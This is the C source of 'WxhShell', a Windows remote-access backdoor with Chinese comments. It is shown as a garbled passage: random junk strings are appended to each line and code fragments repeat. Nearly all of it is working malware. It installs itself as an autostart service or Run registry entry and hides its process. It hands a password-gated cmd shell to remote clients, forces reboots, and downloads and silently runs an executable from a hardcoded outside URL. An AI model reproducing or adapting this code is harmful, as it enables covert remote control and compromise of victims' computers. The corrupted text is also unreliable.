    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gAqK/9;  
    else { 63E6nW M  
    closesocket(wsh); $#rkvG_w  
    ExitThread(0); qm=U<'b^  
    } h3`}{ w  
    break; !=YEhQ-  
    } ?|ZbQz(bL  
  // 获取shell Ck/44Wfej  
  case 's': { fTj@/"a  
    CmdShell(wsh); 7^i7U-A<A  
    closesocket(wsh); 'HW l_M  
    ExitThread(0); 1hw.gn*JK>  
    break; JU)^b V_  
  } LuySa2 ,  
  // 退出 s~OcL  5  
  case 'x': { ~ky;[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KJ+6Y9b1  
    CloseIt(wsh); 0`E G-Hw  
    break; 6Amt75RY  
    } k^cZePqE6d  
  // 离开 L-(bw3Yr>  
  case 'q': { T U6s~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >5t! Xt  
    closesocket(wsh); eWFkUjz  
    WSACleanup(); XR..DVab  
    exit(1); 4`8s]X  
    break; @XJ7ff&  
        } n$2oM5<  
  } WK$\#>T  
  } 3VLwY!2:  
~u%$ 9IhM  
  // 提示信息 3zB'AG3b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WVR/0l&bU  
} a{xJ#_/6  
  } qy'-'UlIr  
{dxFd-K3  
  return; tMw65Xei6b  
} U5C]zswL  
,\i*vJ#f  
// shell模块句柄 X$UK;O  
int CmdShell(SOCKET sock) E_~e/y"-  
{ CT'4.  
STARTUPINFO si; g(pr.Dw6  
ZeroMemory(&si,sizeof(si)); (#y2R F8j  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; __b4dv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $1ovT8  
PROCESS_INFORMATION ProcessInfo; E n7~wKF  
char cmdline[]="cmd"; ;+DEU0|pe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^`!+7!  
  return 0; ^'=[+  
} deAV:c  
}W^@mi  
// 自身启动模式 C`r:jA<LC,  
int StartFromService(void) kSV(T'#x  
{  _".h(  
typedef struct rCF=m]1zxT  
{ g)6>=Qo`8E  
  DWORD ExitStatus; (2eS:1+'8  
  DWORD PebBaseAddress; \0 ~?i6o  
  DWORD AffinityMask; rf=l1GW  
  DWORD BasePriority; <P#BQt f  
  ULONG UniqueProcessId; [y8(v ~H  
  ULONG InheritedFromUniqueProcessId; 3: GwX4yW  
}   PROCESS_BASIC_INFORMATION; f$FO 1B)  
~R[ k^i.Y  
PROCNTQSIP NtQueryInformationProcess; l)\Q~^cxd  
=Xvm#/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +d#8/S*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IM1&g7Qs2  
=Fc]mcJ69  
  HANDLE             hProcess; .I>rX#aNt  
  PROCESS_BASIC_INFORMATION pbi; 'dWUE-  
)Lz =[e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); xS UpVK  
  if(NULL == hInst ) return 0; !:xycLdfUp  
oh-EEo4,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s[8M$YBf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )y8Myb}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gIrbOMQ7  
Dh4 Lffy  
  if (!NtQueryInformationProcess) return 0; WSMpX -^e@  
B9|s`o)!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sj I,v+  
  if(!hProcess) return 0; @&G}'6vF!  
Vz0(D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D]_6OlIE#'  
R]yce2w"z  
  CloseHandle(hProcess); R ?s;L r  
D SX%SE)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }>M\iPO.]*  
if(hProcess==NULL) return 0; v@]SddP,?  
Z-lhJ<0/Pa  
HMODULE hMod; kcUn GiP  
char procName[255]; k.b=EX|  
unsigned long cbNeeded; 9ye!kYF,  
\FfqIc9;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +@]k[9  
:xHKbWz6j  
  CloseHandle(hProcess); 4AzDWK@/  
|$ ^3 5F  
if(strstr(procName,"services")) return 1; // 以服务启动 AS]8rH  
\)5mO 8w  
  return 0; // 注册表启动 x"sbm  
} J-/w{T8:  
pq r_{  
// 主模块 ,vLQx\m{  
int StartWxhshell(LPSTR lpCmdLine) c/ImK`:)4a  
{ XY{N"S8  
  SOCKET wsl; {96MfhkeBv  
BOOL val=TRUE; mKu,7nMvF  
  int port=0; Q3%]  
  struct sockaddr_in door; QGI@5  
C9?mxa*z  
  if(wscfg.ws_autoins) Install(); U]}FA2  
Q9 AvNj>X  
port=atoi(lpCmdLine); /ojx$Um  
<[n:Ij  
if(port<=0) port=wscfg.ws_port; lr4wz(q<9  
C-S>'\ |8  
  WSADATA data; Uhr2"Nuuy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C) R hld  
b>QdP$>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,,G"EF0A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5.ab/uk;M  
  door.sin_family = AF_INET; T16gq-h'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ECi;o1hda  
  door.sin_port = htons(port); "p3<-06  
C_>XtcU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J*b Je"8  
closesocket(wsl); _BA; H+M  
return 1; l'q%bi=f  
} OQfFS+6  
hFm^Fy[R  
  if(listen(wsl,2) == INVALID_SOCKET) { ~C^:SND7  
closesocket(wsl); #<==7X#  
return 1; -a@e28Y  
} 3QBzyJW f  
  Wxhshell(wsl); ,ja!OZ0$  
  WSACleanup(); RtR@wZ2\s  
sQA_6]`  
return 0; AB\Ya4O"9  
)%S@l<%@?  
} jZ-s6r2=  
q/zU'7%@  
// 以NT服务方式启动 *]HnFP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ms5?^kS2O  
{ _p4]\LA  
DWORD   status = 0; <A=1]'1\r  
  DWORD   specificError = 0xfffffff; &*" *b\  
JDR_k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Uc:NW   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e(/F:ZEh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !@ ]IJ"\  
  serviceStatus.dwWin32ExitCode     = 0; G\ F>*  
  serviceStatus.dwServiceSpecificExitCode = 0; r!f UMDS  
  serviceStatus.dwCheckPoint       = 0; g/f6N z  
  serviceStatus.dwWaitHint       = 0; XxMZU(5  
=K0%bI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gIz!~I_U  
  if (hServiceStatusHandle==0) return; V'{\g|)  
UA*VqK)Y  
status = GetLastError(); hsY?og_H  
  if (status!=NO_ERROR) OWwqCPz.  
{ l+ >eb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JMt*GFd  
    serviceStatus.dwCheckPoint       = 0; 8cOft ;|qB  
    serviceStatus.dwWaitHint       = 0; oDu6W9+  
    serviceStatus.dwWin32ExitCode     = status; %H\J@{f  
    serviceStatus.dwServiceSpecificExitCode = specificError; }NyQ<,+mq&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u$^tRz9  
    return; 1UJrPM%  
  } V6P-?Nd  
p&RC#wYu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; YX-~?Pl  
  serviceStatus.dwCheckPoint       = 0; +={K -g7U  
  serviceStatus.dwWaitHint       = 0; CR'%=N04^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HdxP:s.T  
} T 'c39  
=[]6NjKS,  
// 处理NT服务事件,比如:启动、停止 ciODTq?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3E*m.jX  
{ [s[ZOi!;I  
switch(fdwControl) E>]K#H  
{ ]Ac}+?  
case SERVICE_CONTROL_STOP: l~;>KjZg  
  serviceStatus.dwWin32ExitCode = 0; -MS#YcsV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]87BP%G  
  serviceStatus.dwCheckPoint   = 0; :sg}e  
  serviceStatus.dwWaitHint     = 0; Dj96t5R  
  { )%Fwfb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LE<J<~2Z  
  } 24#qg '  
  return; L>~Tc  
case SERVICE_CONTROL_PAUSE: .+u b\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7?R600OA  
  break; JXJ+lZmsz  
case SERVICE_CONTROL_CONTINUE: u|t l@_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8-x-?7  
  break; L_Gw:"-+Q  
case SERVICE_CONTROL_INTERROGATE: 70 7( LG  
  break; op9dYjG7  
}; b*?u+tWP_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?p@J7{a  
} WuU wd#e  
uRko[W(  
// 标准应用程序主函数 1`7zYW&L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i WD|F-  
{ Z,#H\1v3lB  
cp(qaa  
// 获取操作系统版本 \PE;R.v_:  
OsIsNt=GetOsVer(); rT[qh+KWe  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2.z-&lFBZ  
qMJJBl  
  // 从命令行安装  viAAb  
  if(strpbrk(lpCmdLine,"iI")) Install(); yV8J-YdsG  
vO1; ;  
  // 下载执行文件 oVy{~D=  
if(wscfg.ws_downexe) { FoK2h!_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _F%`7j  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4c< s"2F  
} #3qeRl  
7v%c.  
if(!OsIsNt) { \_1a#|97e  
// 如果时win9x,隐藏进程并且设置为注册表启动 WSHPh hM  
HideProc(); %BGg?&  
StartWxhshell(lpCmdLine); v,ssv{gU  
} *7Q6b 4~"  
else GHGyeqNM  
  if(StartFromService()) iwJ_~   
  // 以服务方式启动 2HFn\kjj.s  
  StartServiceCtrlDispatcher(DispatchTable); 1'<C-[1  
else ^-Od*DTL  
  // 普通方式启动 .}!.4J%q2  
  StartWxhshell(lpCmdLine); 7_i8'(``  
RHC ZP  
return 0; mF*x&^ie  
} ~+dps i  
?+d`_/IB  
!CYC7HeF  
0MHiW=  
=========================================== Ax=HDW}  
T-%=tY+-  
Eu?z!  
X@`a_XAfd  
R7bG!1SHl  
/g<Oh{o8  
" xN-,gT'!  
g5B TZZ  
#include <stdio.h> |HK:\)L%  
#include <string.h> ZUQ _u  
#include <windows.h> >Wr%usNxc  
#include <winsock2.h> d<a|dwAeh  
#include <winsvc.h> 1Nt &+o  
#include <urlmon.h> K29/7A/  
C27:ty V  
#pragma comment (lib, "Ws2_32.lib") !?>V^#c  
#pragma comment (lib, "urlmon.lib") }S/i3$F0~  
1]7gYNzV"  
#define MAX_USER   100 // 最大客户端连接数 ]P?< 2,  
#define BUF_SOCK   200 // sock buffer -G,}f\Cg  
#define KEY_BUFF   255 // 输入 buffer lxhb)]c ^>  
[%.v;+L  
#define REBOOT     0   // 重启 /d3Jd .l!  
#define SHUTDOWN   1   // 关机 MoIh =rw  
:skR6J  
#define DEF_PORT   5000 // 监听端口 aas.-N T  
v=N?(6T  
#define REG_LEN     16   // 注册表键长度 3 ~v 17  
#define SVC_LEN     80   // NT服务名长度 ]b4IO4T  
@gI1:-chB  
// 从dll定义API fM;,9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;/K2h_=3z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zU?O)w1'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /}?7Eni  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !__0Vk[s  
<sH}X$/  
// wxhshell配置信息 !$Nj!  
struct WSCFG { #V!a<w4_  
  int ws_port;         // 监听端口 KrE 'M  
  char ws_passstr[REG_LEN]; // 口令 cl~Yx 4  
  int ws_autoins;       // 安装标记, 1=yes 0=no n"(!v7YNp  
  char ws_regname[REG_LEN]; // 注册表键名 "}]$ag!`q$  
  char ws_svcname[REG_LEN]; // 服务名 (GSP3KKo*G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cu[-<>my  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (>v'0 RA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \/NF??k,jk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ukWn@q*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @?3f`l 9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LIZB!S@V\  
3 t,_{9  
}; ix3LB!k<  
Zl9@E;|=  
// default Wxhshell configuration 0xB2  
struct WSCFG wscfg={DEF_PORT, Qz~uD'Rs/  
    "xuhuanlingzhe", isZ5s\  
    1, "D(Lp*3hj&  
    "Wxhshell", `R[Hxi  
    "Wxhshell", .hl_zc#  
            "WxhShell Service", bNea5u##  
    "Wrsky Windows CmdShell Service", Aedf (L7\  
    "Please Input Your Password: ", 3A#Tn7  
  1, GShxPH{_j  
  "http://www.wrsky.com/wxhshell.exe", =kd$??F  
  "Wxhshell.exe" Wc3z7xK1@  
    }; HK@ij,px  
.Bm%  
// 消息定义模块 "j^i6RS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ( ay AP  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [?!I*=*b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6}4})B2  
char *msg_ws_ext="\n\rExit."; wcGK *sWG-  
char *msg_ws_end="\n\rQuit."; S#/%#k103  
char *msg_ws_boot="\n\rReboot..."; *pKTJP  
char *msg_ws_poff="\n\rShutdown..."; }47h0 i  
char *msg_ws_down="\n\rSave to "; @+u>rS|IB  
d ]P~  
char *msg_ws_err="\n\rErr!"; &k }f"TX2  
char *msg_ws_ok="\n\rOK!"; v,KKn\X  
AJPvwu}D  
char ExeFile[MAX_PATH]; ;P@]7vkff  
int nUser = 0; m#7(<#  
HANDLE handles[MAX_USER]; >Fel) a  
int OsIsNt; </h^%mnd  
>L7s[vKn  
SERVICE_STATUS       serviceStatus; ^J'_CA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; / ;]5X  
ht3.e[%'b  
// 函数声明 rpR${%jc  
int Install(void); }#XFa#  
int Uninstall(void); [0H0%z#tU&  
int DownloadFile(char *sURL, SOCKET wsh); }Z!D?(  
int Boot(int flag); %q{q.(M#  
void HideProc(void); d1 j9{  
int GetOsVer(void); M;(,0dk  
int Wxhshell(SOCKET wsl); UiFH*HT  
void TalkWithClient(void *cs); V`V\/s gj  
int CmdShell(SOCKET sock); =&HLz 7|  
int StartFromService(void); J!I)G&:  
int StartWxhshell(LPSTR lpCmdLine); %Tm*^  
zsFzg.$3&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 'Uok<;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mB?x_6#d9  
.fA*WQ!lb  
// 数据结构和表定义 %oZ:Awx  
SERVICE_TABLE_ENTRY DispatchTable[] = J$dwy$n  
{ kxn&f(5  
{wscfg.ws_svcname, NTServiceMain}, }Mc b\+[  
{NULL, NULL}  <wH+\  
}; j)A#}4jd  
D&@]  
// 自我安装 \/A.j|by,>  
int Install(void) g)D_  !iz  
{ KpLmpK1  
  char svExeFile[MAX_PATH]; yIMqQSt79z  
  HKEY key; #/)t]&n  
  strcpy(svExeFile,ExeFile); C8N)!5(A  
<xOv8IQ|  
// 如果是win9x系统,修改注册表设为自启动 wQkM:=t5  
if(!OsIsNt) { +.G"ool  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s{hKl0ds  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jlEz]@ i  
  RegCloseKey(key); ()3\(d5e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N ##`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _7 3q,3`24  
  RegCloseKey(key); .g*j]!_]  
  return 0; 7N.b-}$(  
    } >DqF>w.1  
  } :6^7l/p  
} sp9gz~Kq  
else { J=4>zQLW  
PNU(;&2<  
// 如果是NT以上系统,安装为系统服务 E-e(K8R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $6hPTc<C  
if (schSCManager!=0) =YO ]m<  
{ 5j%G7.S\  
  SC_HANDLE schService = CreateService jmok]-pC  
  ( f8 d 3ZK  
  schSCManager, AOf4y&B>q  
  wscfg.ws_svcname, 6*OL.~WE  
  wscfg.ws_svcdisp, nB[-KS  
  SERVICE_ALL_ACCESS, ~(5r+Z}*`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k9|5TLXq?  
  SERVICE_AUTO_START, ]I*c:(qwu  
  SERVICE_ERROR_NORMAL, .6B\fr.za  
  svExeFile, <g4}7l8  
  NULL, .R9Z$Kbq  
  NULL, e|~MJu+1  
  NULL, 4E'9;tA3l  
  NULL, 2iAC_"n  
  NULL 5E:$\z;  
  ); Bf_$BCyGW  
  if (schService!=0) q}1ZuK`6  
  { =W(*0"RM  
  CloseServiceHandle(schService); t>"%exdoZ  
  CloseServiceHandle(schSCManager); sE1cvAw9l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4ls:BO;k]  
  strcat(svExeFile,wscfg.ws_svcname); *6uccx7{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?GhyVXS y.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "tK%]c d-  
  RegCloseKey(key); :FyF:=  
  return 0; G)3I+uxn  
    } _;<!8e$C  
  } *Ak.KBg  
  CloseServiceHandle(schSCManager); f0<zK !  
} md!6@)S-p  
} !_S>ER  
V5|ANt  
return 1; boh?Xt-$  
} a"8[,A3  
s6H'}[E<  
// 自我卸载 }`"`VLh  
int Uninstall(void) 1^ iBS  
{ 8H F^^Cva  
  HKEY key; ?b7\m":'  
L'e_?`!:  
if(!OsIsNt) { 8fR(y~_gF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K*6"c.D  
  RegDeleteValue(key,wscfg.ws_regname); k[=qx{Osx%  
  RegCloseKey(key); 0lw>mxN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X/!_>@`7?  
  RegDeleteValue(key,wscfg.ws_regname); xad`-vw  
  RegCloseKey(key); Jh[0xb  
  return 0; Onmmcem  
  } 'U@o!\=a  
} (IJNBJb  
} _|HhT^\P  
else { 3v* ~CQy9  
Q YJ EUC@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cHFi(K]|1  
if (schSCManager!=0) 0X$mT:=9  
{ 99m2aT()  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vej$|nF  
  if (schService!=0) QFh1sb)]d)  
  { O*yxOb*  
  if(DeleteService(schService)!=0) { M5xJ_yjG  
  CloseServiceHandle(schService); q5'S<qY^  
  CloseServiceHandle(schSCManager); I[Ra0Q>([k  
  return 0; `:/'")+@v  
  } OvdT* g=8*  
  CloseServiceHandle(schService); u\R?(G&  
  } K}*ets1s}  
  CloseServiceHandle(schSCManager); d@%"B($nR  
} =:W2NN'  
} 5*0zI\  
jX53 owZ  
return 1; E-LkP;  
} qT O6I5u  
Z\0Rw>#  
// 从指定url下载文件 =Q#I@SVp2$  
int DownloadFile(char *sURL, SOCKET wsh)  0^;2  
{ nhI+xqfn  
  HRESULT hr; jm0p%%z  
char seps[]= "/"; ">uN={Iy  
char *token; 8`=?_zF  
char *file; [m~J6WB  
char myURL[MAX_PATH]; O"m7r ds  
char myFILE[MAX_PATH]; wjarQog5Y  
MDMd$] CW  
strcpy(myURL,sURL); Lx"GBEkt7  
  token=strtok(myURL,seps); q*!R4yE;C  
  while(token!=NULL) )m%uSSx#  
  { %1z;l.c  
    file=token; MqmQ52HR  
  token=strtok(NULL,seps); Z~'t'.=z  
  } ,GbmL8P7Y  
 56.!L  
GetCurrentDirectory(MAX_PATH,myFILE); 0.GFg${v`  
strcat(myFILE, "\\"); m_NX[>&Y3  
strcat(myFILE, file); `FHudSK  
  send(wsh,myFILE,strlen(myFILE),0); F^ q{[Z  
send(wsh,"...",3,0); ldv@C6+J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L3&Ys3-h  
  if(hr==S_OK) )XI[hVUA  
return 0; *dBy<dIy  
else 3bEcKA_z(  
return 1; y]9R#\P/  
\i.]-k  
} dab]>% M  
]>3Y~KH(  
// 系统电源模块 )|gw5N4;  
int Boot(int flag) 6j E.X  
{ &OR(]Wt0  
  HANDLE hToken; ;$p!dI\-Q  
  TOKEN_PRIVILEGES tkp; IUMv{2C  
!pU$'1D  
  if(OsIsNt) { fI.|QD*$b  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y2|i>5/|<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z 4u&#.bU  
    tkp.PrivilegeCount = 1; <T 2O^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x6ghO-s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j#HXuV6  
if(flag==REBOOT) { }1a}pm2p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .jrNi=BP*  
  return 0; .#EU@Hc  
} \S}/2]* 1  
else { zAgX{$/Fg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R >xd*A  
  return 0; Y;'<u\^M"  
} D 0Xl`0"'  
  } p1N}2]e  
  else { *&U~Io"U  
if(flag==REBOOT) { *>fr'jj1$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *^>"  h@J  
  return 0; +Z`=iia>  
} y6(PG:L  
else { {!,K[QwcI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E@}F^0c  
  return 0; ?Uql 30A  
} l4C{LZ  
} "t|)Kl  
IZVP-  
return 1; Z |$#  
} HoI6(t  
O&!R7T  
// win9x进程隐藏模块 &raqrY|V  
void HideProc(void) 3%vXB=>T!  
{ T(|'.&a  
xAm tm"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S^O9}<2g  
  if ( hKernel != NULL ) YQ0#j'}/  
  { ^[<BMk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Pnytox  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qxZIH  
    FreeLibrary(hKernel); y)kxR  
  } y-<.l=6A  
q,v<:sS9T  
return; QM,#:m1o  
} {}$9 70y  
-CPtYG[s  
// 获取操作系统版本 _p$/.~Xo9  
int GetOsVer(void) W>3S%2d  
{ ;lObqs*?>  
  OSVERSIONINFO winfo; 0`/G(ukO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :EX>Y<`]  
  GetVersionEx(&winfo); OqtGKda  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _i_='dsyW/  
  return 1; j~v`q5X  
  else v l"8Oi*r^  
  return 0; {FI zoR"  
} sn"((BsO<  
%H{pU:[5*  
// 客户端句柄模块 c5]Xqq,  
int Wxhshell(SOCKET wsl) /x3*oO1  
{ }`R,C~-|^  
  SOCKET wsh; :7e*- '  
  struct sockaddr_in client; w>W#cTt  
  DWORD myID; 5lsslE+:J  
ZP"; B^J  
  while(nUser<MAX_USER) !h? HfpYv  
{ ~J\qkQ  
  int nSize=sizeof(client); _8G w Mj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9xA4;)36  
  if(wsh==INVALID_SOCKET) return 1; Hf4_zd  
{Y~>&B5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }`=7%b`-?  
if(handles[nUser]==0) e=;A3S  
  closesocket(wsh); CR4O#f8\  
else Avx`  
  nUser++; 0%%1:W-  
  } Jn+-G4h$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Q:SVxzUd  
w=KfkdAJ*/  
  return 0; "ESc^28  
} )KZMRAT-  
PUQ",;&y1  
// 关闭 socket ]B>76?2W  
void CloseIt(SOCKET wsh) !MoAga_ j  
{ ~5 6&!4  
closesocket(wsh); )>@S8v,(  
nUser--; ]_ C"A  
ExitThread(0); ns~]a:1yh  
} ?%3dgQB'  
; Z:[LJd  
// 客户端请求句柄 Ysm RY=3  
void TalkWithClient(void *cs) fcq8aW/z_  
{ HK )m^!=  
I\*6 >  
  SOCKET wsh=(SOCKET)cs; %ap(=^|5  
  char pwd[SVC_LEN]; SkuR~!  
  char cmd[KEY_BUFF]; b<FE   
char chr[1]; ('x]@  
int i,j; 4,y7a=qf3  
f*%kHfaXgN  
  while (nUser < MAX_USER) { Fz#@[1,  
>zJHvb)b\  
if(wscfg.ws_passstr) { U["0B8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r+#{\~r7T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x2v0cR"KL  
  //ZeroMemory(pwd,KEY_BUFF); N7?]eD  
      i=0; p]L]=-(qI  
  while(i<SVC_LEN) { Y` }X5(A@  
@i#JlZM_  
  // 设置超时 B:h<iU:'D  
  fd_set FdRead; @}y.  
  struct timeval TimeOut; HOx4FXPs  
  FD_ZERO(&FdRead); oq7G=8gTp  
  FD_SET(wsh,&FdRead); 88HqP!m%P:  
  TimeOut.tv_sec=8; <::lfPP  
  TimeOut.tv_usec=0; >/ay'EyY;>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Zn9tG:V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;6/WjUDw<|  
m>=DJ{KQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SKC;@?  
  pwd=chr[0]; DS?.'"n[u  
  if(chr[0]==0xd || chr[0]==0xa) { 4iAF<|6s  
  pwd=0; :#:|:q.]  
  break; MpOU>\  
  } ,rMDGZm?  
  i++; N sdpE?V  
    } g8O6 b  
W ^'|{9&m  
  // 如果是非法用户,关闭 socket eN])qw{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U:8[%a  
} M5{#!d}^D  
1.14tS-}[4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]g-%7g|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JuO47}i]5  
Y w0,K&  
while(1) { I )mB]j  
:)1"yo\  
  ZeroMemory(cmd,KEY_BUFF); \%<M[r=  
[wQ48\^  
      // 自动支持客户端 telnet标准   =}Tm8b0  
  j=0; sD3ZZcy|=  
  while(j<KEY_BUFF) { X&9: ^$m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z3]I^i FI  
  cmd[j]=chr[0]; 9gg{i6  
  if(chr[0]==0xa || chr[0]==0xd) { m!7%5=Fc  
  cmd[j]=0; \Kf\%Q  
  break; JpS}X\]i  
  } JP4DV=}L  
  j++; AW5iwq6p  
    } ~5,^CTAM  
MZGhN brd  
  // 下载文件 l 5-[a  
  if(strstr(cmd,"http://")) { !<M eWo  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )JzY%a SP  
  if(DownloadFile(cmd,wsh)) uzdPA'u  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); oPi>]#X  
  else 1Ms]\<^j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g-qXS]y7  
  } _:Qh1 &h  
  else { l@);U%\pS  
]s=|+tz\V  
